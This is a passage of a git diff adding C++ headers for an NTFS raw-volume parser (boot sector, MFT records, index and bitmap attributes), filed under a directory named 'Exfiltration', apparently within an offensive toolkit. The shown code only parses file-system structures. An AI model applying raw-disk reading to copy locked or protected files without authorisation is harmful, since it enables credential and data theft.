NTFS Volume Version + __inline WORD GetVersion() + { + return MAKEWORD(VolInfo->MinorVersion, VolInfo->MajorVersion); + } +}; // CAttr_VolInfo + + +/////////////////////////// +// Attribute: Volume Name +/////////////////////////// +class CAttr_VolName : public CAttrResident +{ +public: + CAttr_VolName(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrResident(ahc, fr) + { + NTFS_TRACE("Attribute: Volume Name\n"); + + NameLength = AttrBodySize >> 1; + VolNameU = new wchar_t[NameLength+1]; + VolNameA = new char[NameLength+1]; + + memcpy(VolNameU, AttrBody, AttrBodySize); + VolNameU[NameLength] = wchar_t('\0'); + + int len = WideCharToMultiByte(CP_ACP, 0, VolNameU, NameLength, + VolNameA, NameLength, NULL, NULL); + VolNameA[NameLength] = '\0'; + } + + virtual ~CAttr_VolName() + { + NTFS_TRACE("CAttr_VolName deleted\n"); + + delete VolNameU; + delete VolNameA; + } + +private: + wchar_t *VolNameU; + char *VolNameA; + DWORD NameLength; + +public: + // Get NTFS Volume Unicode Name + __inline int GetName(wchar_t *buf, DWORD len) const + { + if (len < NameLength) + return -1*NameLength; // buffer too small + + wcsncpy(buf, VolNameU, NameLength+1); + return NameLength; + } + + // ANSI Name + __inline int GetName(char *buf, DWORD len) const + { + if (len < NameLength) + return -1*NameLength; // buffer too small + + strncpy(buf, VolNameA, NameLength+1); + return NameLength; + } +}; // CAttr_VolInfo + + +///////////////////////////////////// +// Attribute: Data +///////////////////////////////////// +template +class CAttr_Data : public TYPE_RESIDENT +{ +public: + CAttr_Data(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : TYPE_RESIDENT(ahc, fr) + { + NTFS_TRACE1("Attribute: Data (%sResident)\n", IsNonResident() ? "Non" : ""); + } + + virtual ~CAttr_Data() + { + NTFS_TRACE("CAttr_Data deleted\n"); + } +}; // CAttr_Data + + +///////////////////////////// +// Index Entry helper class +///////////////////////////// +class CIndexEntry : public CFileName +{ +public: + CIndexEntry() + { + NTFS_TRACE("Index Entry\n"); + + IsDefault = TRUE; + + IndexEntry = NULL; + SetFileName(NULL); + } + + CIndexEntry(const INDEX_ENTRY *ie) + { + NTFS_TRACE("Index Entry\n"); + + IsDefault = FALSE; + + _ASSERT(ie); + IndexEntry = ie; + + if (IsSubNodePtr()) + { + NTFS_TRACE("Points to sub-node\n"); + } + + if (ie->StreamSize) + { + SetFileName((ATTR_FILE_NAME*)(ie->Stream)); + } + else + { + NTFS_TRACE("No FileName stream found\n"); + } + } + + virtual ~CIndexEntry() + { + // Never touch *IndexEntry here if IsCopy == FALSE ! + // As the memory have been deallocated by ~CIndexBlock() + + if (IsCopy && IndexEntry) + delete (void*)IndexEntry; + + NTFS_TRACE("CIndexEntry deleted\n"); + } + +private: + BOOL IsDefault; + +protected: + const INDEX_ENTRY *IndexEntry; + +public: + // Use with caution ! + CIndexEntry& operator = (const CIndexEntry &ieClass) + { + if (!IsDefault) + { + NTFS_TRACE("Cannot call this routine\n"); + return *this; + } + + NTFS_TRACE("Index Entry Copied\n"); + + IsCopy = TRUE; + + if (IndexEntry) + { + delete (void*)IndexEntry; + IndexEntry = NULL; + } + + const INDEX_ENTRY *ie = ieClass.IndexEntry; + _ASSERT(ie && (ie->Size > 0)); + + IndexEntry = (INDEX_ENTRY*)new BYTE[ie->Size]; + memcpy((void*)IndexEntry, ie, ie->Size); + CopyFileName(&ieClass, (ATTR_FILE_NAME*)(IndexEntry->Stream)); + + return *this; + } + + __inline ULONGLONG GetFileReference() const + { + if (IndexEntry) + return IndexEntry->FileReference & 0x0000FFFFFFFFFFFFUL; + else + return (ULONGLONG)-1; + } + + __inline BOOL IsSubNodePtr() const + { + if (IndexEntry) + return (IndexEntry->Flags & INDEX_ENTRY_FLAG_SUBNODE); + else + return FALSE; + } + + __inline ULONGLONG GetSubNodeVCN() const + { + if (IndexEntry) + return *(ULONGLONG*)((BYTE*)IndexEntry + IndexEntry->Size - 8); + else + return (ULONGLONG)-1; + } +}; // CIndexEntry + + +/////////////////////////////// +// Index Block helper class +/////////////////////////////// +class CIndexBlock : public CIndexEntryList +{ +public: + CIndexBlock() + { + NTFS_TRACE("Index Block\n"); + + IndexBlock = NULL; + } + + virtual ~CIndexBlock() + { + NTFS_TRACE("IndexBlock deleted\n"); + + if (IndexBlock) + delete IndexBlock; + } + +private: + INDEX_BLOCK *IndexBlock; + +public: + INDEX_BLOCK *AllocIndexBlock(DWORD size) + { + // Free previous data if any + if (GetCount() > 0) + RemoveAll(); + if (IndexBlock) + delete IndexBlock; + + IndexBlock = (INDEX_BLOCK*)new BYTE[size]; + + return IndexBlock; + } +}; // CIndexBlock + + +///////////////////////////////////// +// Attribute: Index Root (Resident) +///////////////////////////////////// +class CAttr_IndexRoot : public CAttrResident, public CIndexEntryList +{ +public: + CAttr_IndexRoot(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttr_IndexRoot(); + +private: + const ATTR_INDEX_ROOT *IndexRoot; + + void ParseIndexEntries(); + +public: + __inline BOOL IsFileName() const; +}; // CAttr_IndexRoot + +CAttr_IndexRoot::CAttr_IndexRoot(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr): CAttrResident(ahc, fr) +{ + NTFS_TRACE("Attribute: Index Root\n"); + + IndexRoot = (ATTR_INDEX_ROOT*)AttrBody; + + if (IsFileName()) + { + ParseIndexEntries(); + } + else + { + NTFS_TRACE("Index View not supported\n"); + } +} + +CAttr_IndexRoot::~CAttr_IndexRoot() +{ + NTFS_TRACE("CAttr_IndexRoot deleted\n"); +} + +// Get all the index entries +void CAttr_IndexRoot::ParseIndexEntries() +{ + INDEX_ENTRY *ie; + ie = (INDEX_ENTRY*)((BYTE*)(&(IndexRoot->EntryOffset)) + IndexRoot->EntryOffset); + + DWORD ieTotal = ie->Size; + + while (ieTotal <= IndexRoot->TotalEntrySize) + { + CIndexEntry *ieClass = new CIndexEntry(ie); + InsertEntry(ieClass); + + if (ie->Flags & INDEX_ENTRY_FLAG_LAST) + { + NTFS_TRACE("Last Index Entry\n"); + break; + } + + ie = (INDEX_ENTRY*)((BYTE*)ie + ie->Size); // Pick next + ieTotal += ie->Size; + } +} + +// Check if this IndexRoot contains FileName or IndexView +__inline BOOL CAttr_IndexRoot::IsFileName() const +{ + return (IndexRoot->AttrType == ATTR_TYPE_FILE_NAME); +} + + +///////////////////////////////////////////// +// Attribute: Index Allocation (NonResident) +///////////////////////////////////////////// +class CAttr_IndexAlloc : public CAttrNonResident +{ +public: + CAttr_IndexAlloc(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttr_IndexAlloc(); + +private: + ULONGLONG IndexBlockCount; + + BOOL PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray); + +public: + __inline ULONGLONG GetIndexBlockCount(); + BOOL ParseIndexBlock(const ULONGLONG &vcn, CIndexBlock &ibClass); +}; // CAttr_IndexAlloc + +CAttr_IndexAlloc::CAttr_IndexAlloc(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrNonResident(ahc, fr) +{ + NTFS_TRACE("Attribute: Index Allocation\n"); + + IndexBlockCount = 0; + + if (IsDataRunOK()) + { + // Get total number of Index Blocks + ULONGLONG ibTotalSize; + ibTotalSize = GetDataSize(); + if (ibTotalSize % _IndexBlockSize) + { + NTFS_TRACE2("Cannot calulate number of IndexBlocks, total size = %I64u, unit = %u\n", + ibTotalSize, _IndexBlockSize); + return; + } + IndexBlockCount = ibTotalSize / _IndexBlockSize; + } + else + { + NTFS_TRACE("Index Allocation DataRun parse error\n"); + } +} + +CAttr_IndexAlloc::~CAttr_IndexAlloc() +{ + NTFS_TRACE("CAttr_IndexAlloc deleted\n"); +} + +// Verify US and update sectors +BOOL CAttr_IndexAlloc::PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray) +{ + int i; + + for (i=0; i>1) - 1); + if (*sector != usn) + return FALSE; // USN error + *sector = usarray[i]; // Write back correct data + sector++; + } + return TRUE; +} + +__inline ULONGLONG CAttr_IndexAlloc::GetIndexBlockCount() +{ + return IndexBlockCount; +} + +// Parse a single Index Block +// vcn = Index Block VCN in Index Allocation Data Attributes +// ibClass holds the parsed Index Entries +BOOL CAttr_IndexAlloc::ParseIndexBlock(const ULONGLONG &vcn, CIndexBlock &ibClass) +{ + if (vcn >= IndexBlockCount) // Bounds check + return FALSE; + + // Allocate buffer for a single Index Block + INDEX_BLOCK *ibBuf = ibClass.AllocIndexBlock(_IndexBlockSize); + + // Sectors Per Index Block + DWORD sectors = _IndexBlockSize / _SectorSize; + + // Read one Index Block + DWORD len; + if (ReadData(vcn*_IndexBlockSize, ibBuf, _IndexBlockSize, &len) && + len == _IndexBlockSize) + { + if (ibBuf->Magic != INDEX_BLOCK_MAGIC) + { + NTFS_TRACE("Index Block parse error: Magic mismatch\n"); + return FALSE; + } + + // Patch US + WORD *usnaddr = (WORD*)((BYTE*)ibBuf + ibBuf->OffsetOfUS); + WORD usn = *usnaddr; + WORD *usarray = usnaddr + 1; + if (!PatchUS((WORD*)ibBuf, sectors, usn, usarray)) + { + NTFS_TRACE("Index Block parse error: Update Sequence Number\n"); + return FALSE; + } + + INDEX_ENTRY *ie; + ie = (INDEX_ENTRY*)((BYTE*)(&(ibBuf->EntryOffset)) + ibBuf->EntryOffset); + + DWORD ieTotal = ie->Size; + + while (ieTotal <= ibBuf->TotalEntrySize) + { + CIndexEntry *ieClass = new CIndexEntry(ie); + ibClass.InsertEntry(ieClass); + + if (ie->Flags & INDEX_ENTRY_FLAG_LAST) + { + NTFS_TRACE("Last Index Entry\n"); + break; + } + + ie = (INDEX_ENTRY*)((BYTE*)ie + ie->Size); // Pick next + ieTotal += ie->Size; + } + + return TRUE; + } + else + return FALSE; +} + + +//////////////////////////////////////////// +// Attribute: Bitmap +//////////////////////////////////////////// +template +class CAttr_Bitmap : public TYPE_RESIDENT +{ +public: + CAttr_Bitmap(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttr_Bitmap(); + +private: + ULONGLONG BitmapSize; // Bitmap data size + BYTE *BitmapBuf; // Bitmap data buffer + LONGLONG CurrentCluster; + +public: + BOOL IsClusterFree(const ULONGLONG &cluster) const; +}; // CAttr_Bitmap + +template +CAttr_Bitmap::CAttr_Bitmap(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : TYPE_RESIDENT(ahc, fr) +{ + NTFS_TRACE1("Attribute: Bitmap (%sResident)\n", IsNonResident() ? "Non" : ""); + + CurrentCluster = -1; + + if (IsDataRunOK()) + { + BitmapSize = GetDataSize(); + + if (IsNonResident()) + BitmapBuf = new BYTE[_ClusterSize]; + else + { + BitmapBuf = new BYTE[(DWORD)BitmapSize]; + + DWORD len; + if (!(ReadData(0, BitmapBuf, (DWORD)BitmapSize, &len) + && len == (DWORD)BitmapSize)) + { + BitmapBuf = NULL; + NTFS_TRACE("Read Resident Bitmap data failed\n"); + } + else + { + NTFS_TRACE1("%u bytes of resident Bitmap data read\n", len); + } + } + } + else + { + BitmapSize = 0; + BitmapBuf = 0; + } +} + +template +CAttr_Bitmap::~CAttr_Bitmap() +{ + if (BitmapBuf) + delete BitmapBuf; + + NTFS_TRACE("CAttr_Bitmap deleted\n"); +} + +// Verify if a single cluster is free +template +BOOL CAttr_Bitmap::IsClusterFree(const ULONGLONG &cluster) const +{ + if (!IsDataRunOK() || !BitmapBuf) + return FALSE; + + if (IsNonResident()) + { + LONGLONG idx = (LONGLONG)cluster >> 3; + DWORD clusterSize = ((CNTFSVolume*)Volume)->GetClusterSize(); + + LONGLONG clusterOffset = idx/clusterSize; + cluster -= (clusterOffset*clusterSize*8); + + // Read one cluster of data if buffer mismatch + if (CurrentCluster != clusterOffset) + { + DWORD len; + if (ReadData(clusterOffset, BitmapBuf, clusterSize, &len) && len == clusterSize) + { + CurrentCluster = clusterOffset; + } + else + { + CurrentCluster = -1; + return FALSE; + } + } + } + + // All the Bitmap data is already in BitmapBuf + DWORD idx = (DWORD)(cluster >> 3); + if (IsNonResident() == FALSE) + { + if (idx >= BitmapSize) + return TRUE; // Resident data bounds check error + } + + BYTE fac = (BYTE)(cluster % 8); + + return ((BitmapBuf[idx] & (1< CFileRecordList; + +//////////////////////////////////////////// +// Attribute: Attribute List +//////////////////////////////////////////// +template +class CAttr_AttrList : public TYPE_RESIDENT +{ +public: + CAttr_AttrList(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttr_AttrList(); + +private: + CFileRecordList FileRecordList; +}; // CAttr_AttrList + +template +CAttr_AttrList::CAttr_AttrList(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : TYPE_RESIDENT(ahc, fr) +{ + NTFS_TRACE("Attribute: Attribute List\n"); + if (fr->FileReference == (ULONGLONG)-1) + return; + + ULONGLONG offset = 0; + DWORD len; + ATTR_ATTRIBUTE_LIST alRecord; + + while (ReadData(offset, &alRecord, sizeof(ATTR_ATTRIBUTE_LIST), &len) && + len == sizeof(ATTR_ATTRIBUTE_LIST)) + { + if (ATTR_INDEX(alRecord.AttrType) > ATTR_NUMS) + { + NTFS_TRACE("Attribute List parse error1\n"); + break; + } + + NTFS_TRACE1("Attribute List: 0x%04x\n", alRecord.AttrType); + + ULONGLONG recordRef = alRecord.BaseRef & 0x0000FFFFFFFFFFFFUL; + if (recordRef != fr->FileReference) // Skip contained attributes + { + DWORD am = ATTR_MASK(alRecord.AttrType); + if (am & fr->AttrMask) // Skip unwanted attributes + { + CFileRecord *frnew = new CFileRecord(fr->Volume); + FileRecordList.InsertEntry(frnew); + + frnew->AttrMask = am; + if (!frnew->ParseFileRecord(recordRef)) + { + NTFS_TRACE("Attribute List parse error2\n"); + break; + } + frnew->ParseAttrs(); + + // Insert new found AttrList to fr->AttrList + const CAttrBase *ab = (CAttrBase*)frnew->FindFirstAttr(alRecord.AttrType); + while (ab) + { + CAttrList *al = (CAttrList*)&fr->AttrList[ATTR_INDEX(alRecord.AttrType)]; + al->InsertEntry((CAttrBase*)ab); + ab = frnew->FindNextAttr(alRecord.AttrType); + } + + // Throw away frnew->AttrList entries to prevent free twice (fr will delete them) + frnew->AttrList[ATTR_INDEX(alRecord.AttrType)].ThrowAll(); + } + } + + offset += alRecord.RecordSize; + } +} + +template +CAttr_AttrList::~CAttr_AttrList() +{ + NTFS_TRACE("CAttr_AttrList deleted\n"); +} + +#endif diff --git a/Exfiltration/NTFSParser/NTFSParser/NTFS_Common.h b/Exfiltration/NTFSParser/NTFSParser/NTFS_Common.h new file mode 100644 index 0000000..b7c2813 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/NTFS_Common.h @@ -0,0 +1,317 @@ +/* + * NTFS Class common definitions + * + * Copyright(C) 2010 cyb70289 + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __NTFS_COMMON_H_CYB70289 +#define __NTFS_COMMON_H_CYB70289 + +#include +#include +#include +#include + +#include "NTFS_DataType.h" + +#define ATTR_NUMS 16 // Attribute Types count +#define ATTR_INDEX(at) (((at)>>4)-1) // Attribute Type to Index, eg. 0x10->0, 0x30->2 +#define ATTR_MASK(at) (((DWORD)1)< +struct NTSLIST_ENTRY +{ + NTSLIST_ENTRY *Next; + ENTRY_TYPE *Entry; +}; + +// List Entry Smart Pointer +template +class CEntrySmartPtr +{ +public: + CEntrySmartPtr(ENTRY_TYPE *ptr = NULL) + { + EntryPtr = ptr; + } + + virtual ~CEntrySmartPtr() + { + if (EntryPtr) + delete EntryPtr; + } + +private: + const ENTRY_TYPE *EntryPtr; + +public: + __inline CEntrySmartPtr operator = (const ENTRY_TYPE* ptr) + { + // Delete previous pointer if allocated + if (EntryPtr) + delete EntryPtr; + + EntryPtr = ptr; + + return *this; + } + + __inline const ENTRY_TYPE* operator->() const + { + _ASSERT(EntryPtr); + return EntryPtr; + } + + __inline BOOL IsValid() const + { + return EntryPtr != NULL; + } +}; + +////////////////////////////////////// +// Single list implementation +////////////////////////////////////// +template +class CSList +{ +public: + CSList() + { + ListHead = ListTail = NULL; + ListCurrent = NULL; + EntryCount = 0; + } + + virtual ~CSList() + { + RemoveAll(); + } + +private: + int EntryCount; + NTSLIST_ENTRY *ListHead; + NTSLIST_ENTRY *ListTail; + NTSLIST_ENTRY *ListCurrent; + +public: + // Get entry count + __inline int GetCount() const + { + return EntryCount; + } + + // Insert to tail + BOOL InsertEntry(ENTRY_TYPE *entry) + { + NTSLIST_ENTRY *le = new NTSLIST_ENTRY; + if (!le) + return FALSE; + + le->Entry = entry; + le->Next = NULL; + + if (ListTail == NULL) + ListHead = le; // Empty list + else + ListTail->Next = le; + + ListTail = le; + + EntryCount++; + return TRUE; + } + + // Remove all entries + void RemoveAll() + { + while (ListHead) + { + ListCurrent = ListHead->Next; + delete ListHead->Entry; + delete ListHead; + + ListHead = ListCurrent; + } + + ListHead = ListTail = NULL; + ListCurrent = NULL; + EntryCount = 0; + } + + // Find first entry + __inline ENTRY_TYPE *FindFirstEntry() const + { + ((CSList*)this)->ListCurrent = ListHead; + + if (ListCurrent) + return ListCurrent->Entry; + else + return NULL; + } + + // Find next entry + __inline ENTRY_TYPE *FindNextEntry() const + { + if (ListCurrent) + ((CSList*)this)->ListCurrent = ListCurrent->Next; + + if (ListCurrent) + return ListCurrent->Entry; + else + return NULL; + } + + // Throw all entries + // Caution! All entries are just thrown without free + __inline void ThrowAll() + { + ListHead = ListTail = NULL; + ListCurrent = NULL; + EntryCount = 0; + } +}; //CSList + + +////////////////////////////////////// +// Stack implementation +////////////////////////////////////// +template +class CStack +{ +public: + CStack() + { + ListHead = ListTail = NULL; + EntryCount = 0; + } + + virtual ~CStack() + { + RemoveAll(); + } + +private: + int EntryCount; + NTSLIST_ENTRY *ListHead; + NTSLIST_ENTRY *ListTail; + +public: + // Get entry count + __inline int GetCount() const + { + return EntryCount; + } + + // Insert to head + BOOL Push(ENTRY_TYPE *entry) + { + NTSLIST_ENTRY *le = new NTSLIST_ENTRY; + if (!le) + return FALSE; + + le->Entry = entry; + le->Next = ListHead; + + ListHead = le; + + if (ListTail == NULL) + ListTail = le; // Empty list + + EntryCount ++; + return TRUE; + } + + // Remove from head + ENTRY_TYPE* Pop() + { + if (ListHead == NULL) + return NULL; + + NTSLIST_ENTRY *le = ListHead; + ENTRY_TYPE *e = le->Entry; + + if (ListTail == ListHead) + ListTail = ListHead->Next; + ListHead = ListHead->Next; + + delete le; + EntryCount --; + + return e; + } + + // Remove all entries + void RemoveAll() + { + NTSLIST_ENTRY *le; + + while (ListHead) + { + le = ListHead->Next; + delete ListHead->Entry; + delete ListHead; + + ListHead = le; + } + + ListHead = ListTail = NULL; + EntryCount = 0; + } +}; //CStack + +#endif diff --git a/Exfiltration/NTFSParser/NTFSParser/NTFS_DataType.h b/Exfiltration/NTFSParser/NTFSParser/NTFS_DataType.h new file mode 100644 index 0000000..7d9ccc0 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/NTFS_DataType.h @@ -0,0 +1,380 @@ +/* + * NTFS data structures and definitions + * + * Copyright(C) 2010 cyb70289 + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __NTFS_DATATYPE_H_CYB70289 +#define __NTFS_DATATYPE_H_CYB70289 + +// NTFS Boot Sector BPB + +#define NTFS_SIGNATURE "NTFS " + +#pragma pack(1) +typedef struct tagNTFS_BPB +{ + // jump instruction + BYTE Jmp[3]; + + // signature + BYTE Signature[8]; + + // BPB and extended BPB + WORD BytesPerSector; + BYTE SectorsPerCluster; + WORD ReservedSectors; + BYTE Zeros1[3]; + WORD NotUsed1; + BYTE MediaDescriptor; + WORD Zeros2; + WORD SectorsPerTrack; + WORD NumberOfHeads; + DWORD HiddenSectors; + DWORD NotUsed2; + DWORD NotUsed3; + ULONGLONG TotalSectors; + ULONGLONG LCN_MFT; + ULONGLONG LCN_MFTMirr; + DWORD ClustersPerFileRecord; + DWORD ClustersPerIndexBlock; + BYTE VolumeSN[8]; + + // boot code + BYTE Code[430]; + + //0xAA55 + BYTE _AA; + BYTE _55; +} NTFS_BPB; +#pragma pack() + + +// MFT Indexes +#define MFT_IDX_MFT 0 +#define MFT_IDX_MFT_MIRR 1 +#define MFT_IDX_LOG_FILE 2 +#define MFT_IDX_VOLUME 3 +#define MFT_IDX_ATTR_DEF 4 +#define MFT_IDX_ROOT 5 +#define MFT_IDX_BITMAP 6 +#define MFT_IDX_BOOT 7 +#define MFT_IDX_BAD_CLUSTER 8 +#define MFT_IDX_SECURE 9 +#define MFT_IDX_UPCASE 10 +#define MFT_IDX_EXTEND 11 +#define MFT_IDX_RESERVED12 12 +#define MFT_IDX_RESERVED13 13 +#define MFT_IDX_RESERVED14 14 +#define MFT_IDX_RESERVED15 15 +#define MFT_IDX_USER 16 + + +/****************************** + File Record + --------------------- + | File Record Header| + --------------------- + | Attribute 1 | + --------------------- + | Attribute 2 | + --------------------- + | ...... | + --------------------- + | 0xFFFFFFFF | + --------------------- +*******************************/ + +// File Record Header + +#define FILE_RECORD_MAGIC 'ELIF' +#define FILE_RECORD_FLAG_INUSE 0x01 // File record is in use +#define FILE_RECORD_FLAG_DIR 0x02 // File record is a directory + +typedef struct tagFILE_RECORD_HEADER +{ + DWORD Magic; // "FILE" + WORD OffsetOfUS; // Offset of Update Sequence + WORD SizeOfUS; // Size in words of Update Sequence Number & Array + ULONGLONG LSN; // $LogFile Sequence Number + WORD SeqNo; // Sequence number + WORD Hardlinks; // Hard link count + WORD OffsetOfAttr; // Offset of the first Attribute + WORD Flags; // Flags + DWORD RealSize; // Real size of the FILE record + DWORD AllocSize; // Allocated size of the FILE record + ULONGLONG RefToBase; // File reference to the base FILE record + WORD NextAttrId; // Next Attribute Id + WORD Align; // Align to 4 byte boundary + DWORD RecordNo; // Number of this MFT Record +} FILE_RECORD_HEADER; + + +/****************************** + Attribute + -------------------- + | Attribute Header | + -------------------- + | Attribute Data | + -------------------- +*******************************/ + +// Attribute Header + +#define ATTR_TYPE_STANDARD_INFORMATION 0x10 +#define ATTR_TYPE_ATTRIBUTE_LIST 0x20 +#define ATTR_TYPE_FILE_NAME 0x30 +#define ATTR_TYPE_OBJECT_ID 0x40 +#define ATTR_TYPE_SECURITY_DESCRIPTOR 0x50 +#define ATTR_TYPE_VOLUME_NAME 0x60 +#define ATTR_TYPE_VOLUME_INFORMATION 0x70 +#define ATTR_TYPE_DATA 0x80 +#define ATTR_TYPE_INDEX_ROOT 0x90 +#define ATTR_TYPE_INDEX_ALLOCATION 0xA0 +#define ATTR_TYPE_BITMAP 0xB0 +#define ATTR_TYPE_REPARSE_POINT 0xC0 +#define ATTR_TYPE_EA_INFORMATION 0xD0 +#define ATTR_TYPE_EA 0xE0 +#define ATTR_TYPE_LOGGED_UTILITY_STREAM 0x100 + +#define ATTR_FLAG_COMPRESSED 0x0001 +#define ATTR_FLAG_ENCRYPTED 0x4000 +#define ATTR_FLAG_SPARSE 0x8000 + +typedef struct tagATTR_HEADER_COMMON +{ + DWORD Type; // Attribute Type + DWORD TotalSize; // Length (including this header) + BYTE NonResident; // 0 - resident, 1 - non resident + BYTE NameLength; // name length in words + WORD NameOffset; // offset to the name + WORD Flags; // Flags + WORD Id; // Attribute Id +} ATTR_HEADER_COMMON; + +typedef struct tagATTR_HEADER_RESIDENT +{ + ATTR_HEADER_COMMON Header; // Common data structure + DWORD AttrSize; // Length of the attribute body + WORD AttrOffset; // Offset to the Attribute + BYTE IndexedFlag; // Indexed flag + BYTE Padding; // Padding +} ATTR_HEADER_RESIDENT; + +typedef struct tagATTR_HEADER_NON_RESIDENT +{ + ATTR_HEADER_COMMON Header; // Common data structure + ULONGLONG StartVCN; // Starting VCN + ULONGLONG LastVCN; // Last VCN + WORD DataRunOffset; // Offset to the Data Runs + WORD CompUnitSize; // Compression unit size + DWORD Padding; // Padding + ULONGLONG AllocSize; // Allocated size of the attribute + ULONGLONG RealSize; // Real size of the attribute + ULONGLONG IniSize; // Initialized data size of the stream +} ATTR_HEADER_NON_RESIDENT; + + +// Attribute: STANDARD_INFORMATION + +#define ATTR_STDINFO_PERMISSION_READONLY 0x00000001 +#define ATTR_STDINFO_PERMISSION_HIDDEN 0x00000002 +#define ATTR_STDINFO_PERMISSION_SYSTEM 0x00000004 +#define ATTR_STDINFO_PERMISSION_ARCHIVE 0x00000020 +#define ATTR_STDINFO_PERMISSION_DEVICE 0x00000040 +#define ATTR_STDINFO_PERMISSION_NORMAL 0x00000080 +#define ATTR_STDINFO_PERMISSION_TEMP 0x00000100 +#define ATTR_STDINFO_PERMISSION_SPARSE 0x00000200 +#define ATTR_STDINFO_PERMISSION_REPARSE 0x00000400 +#define ATTR_STDINFO_PERMISSION_COMPRESSED 0x00000800 +#define ATTR_STDINFO_PERMISSION_OFFLINE 0x00001000 +#define ATTR_STDINFO_PERMISSION_NCI 0x00002000 +#define ATTR_STDINFO_PERMISSION_ENCRYPTED 0x00004000 + +typedef struct tagATTR_STANDARD_INFORMATION +{ + ULONGLONG CreateTime; // File creation time + ULONGLONG AlterTime; // File altered time + ULONGLONG MFTTime; // MFT changed time + ULONGLONG ReadTime; // File read time + DWORD Permission; // Dos file permission + DWORD MaxVersionNo; // Maxim number of file versions + DWORD VersionNo; // File version number + DWORD ClassId; // Class Id + DWORD OwnerId; // Owner Id + DWORD SecurityId; // Security Id + ULONGLONG QuotaCharged; // Quota charged + ULONGLONG USN; // USN Journel +} ATTR_STANDARD_INFORMATION; + + +// Attribute: ATTRIBUTE_LIST + +typedef struct tagATTR_ATTRIBUTE_LIST +{ + DWORD AttrType; // Attribute type + WORD RecordSize; // Record length + BYTE NameLength; // Name length in characters + BYTE NameOffset; // Name offset + ULONGLONG StartVCN; // Start VCN + ULONGLONG BaseRef; // Base file reference to the attribute + WORD AttrId; // Attribute Id +} ATTR_ATTRIBUTE_LIST; + +// Attribute: FILE_NAME + +#define ATTR_FILENAME_FLAG_READONLY 0x00000001 +#define ATTR_FILENAME_FLAG_HIDDEN 0x00000002 +#define ATTR_FILENAME_FLAG_SYSTEM 0x00000004 +#define ATTR_FILENAME_FLAG_ARCHIVE 0x00000020 +#define ATTR_FILENAME_FLAG_DEVICE 0x00000040 +#define ATTR_FILENAME_FLAG_NORMAL 0x00000080 +#define ATTR_FILENAME_FLAG_TEMP 0x00000100 +#define ATTR_FILENAME_FLAG_SPARSE 0x00000200 +#define ATTR_FILENAME_FLAG_REPARSE 0x00000400 +#define ATTR_FILENAME_FLAG_COMPRESSED 0x00000800 +#define ATTR_FILENAME_FLAG_OFFLINE 0x00001000 +#define ATTR_FILENAME_FLAG_NCI 0x00002000 +#define ATTR_FILENAME_FLAG_ENCRYPTED 0x00004000 +#define ATTR_FILENAME_FLAG_DIRECTORY 0x10000000 +#define ATTR_FILENAME_FLAG_INDEXVIEW 0x20000000 + +#define ATTR_FILENAME_NAMESPACE_POSIX 0x00 +#define ATTR_FILENAME_NAMESPACE_WIN32 0x01 +#define ATTR_FILENAME_NAMESPACE_DOS 0x02 + +typedef struct tagATTR_FILE_NAME +{ + ULONGLONG ParentRef; // File reference to the parent directory + ULONGLONG CreateTime; // File creation time + ULONGLONG AlterTime; // File altered time + ULONGLONG MFTTime; // MFT changed time + ULONGLONG ReadTime; // File read time + ULONGLONG AllocSize; // Allocated size of the file + ULONGLONG RealSize; // Real size of the file + DWORD Flags; // Flags + DWORD ER; // Used by EAs and Reparse + BYTE NameLength; // Filename length in characters + BYTE NameSpace; // Filename space + WORD Name[1]; // Filename +} ATTR_FILE_NAME; + + +// Attribute: VOLUME_INFORMATION + +#define ATTR_VOLINFO_FLAG_DIRTY 0x0001 // Dirty +#define ATTR_VOLINFO_FLAG_RLF 0x0002 // Resize logfile +#define ATTR_VOLINFO_FLAG_UOM 0x0004 // Upgrade on mount +#define ATTR_VOLINFO_FLAG_MONT 0x0008 // Mounted on NT4 +#define ATTR_VOLINFO_FLAG_DUSN 0x0010 // Delete USN underway +#define ATTR_VOLINFO_FLAG_ROI 0x0020 // Repair object Ids +#define ATTR_VOLINFO_FLAG_MBC 0x8000 // Modified by chkdsk + +typedef struct tagATTR_VOLUME_INFORMATION +{ + BYTE Reserved1[8]; // Always 0 ? + BYTE MajorVersion; // Major version + BYTE MinorVersion; // Minor version + WORD Flags; // Flags + BYTE Reserved2[4]; // Always 0 ? +} ATTR_VOLUME_INFORMATION; + + +// Attribute: INDEX_ROOT +/****************************** + INDEX_ROOT + --------------------- + | Index Root Header | + --------------------- + | Index Header | + --------------------- + | Index Entry | + --------------------- + | Index Entry | + --------------------- + | ...... | + --------------------- +*******************************/ + +#define ATTR_INDEXROOT_FLAG_SMALL 0x00 // Fits in Index Root File Record +#define ATTR_INDEXROOT_FLAG_LARGE 0x01 // Index Allocation and Bitmap needed + +typedef struct tagATTR_INDEX_ROOT +{ + // Index Root Header + DWORD AttrType; // Attribute type (ATTR_TYPE_FILE_NAME: Directory, 0: Index View) + DWORD CollRule; // Collation rule + DWORD IBSize; // Size of index block + BYTE ClustersPerIB; // Clusters per index block (same as BPB?) + BYTE Padding1[3]; // Padding + // Index Header + DWORD 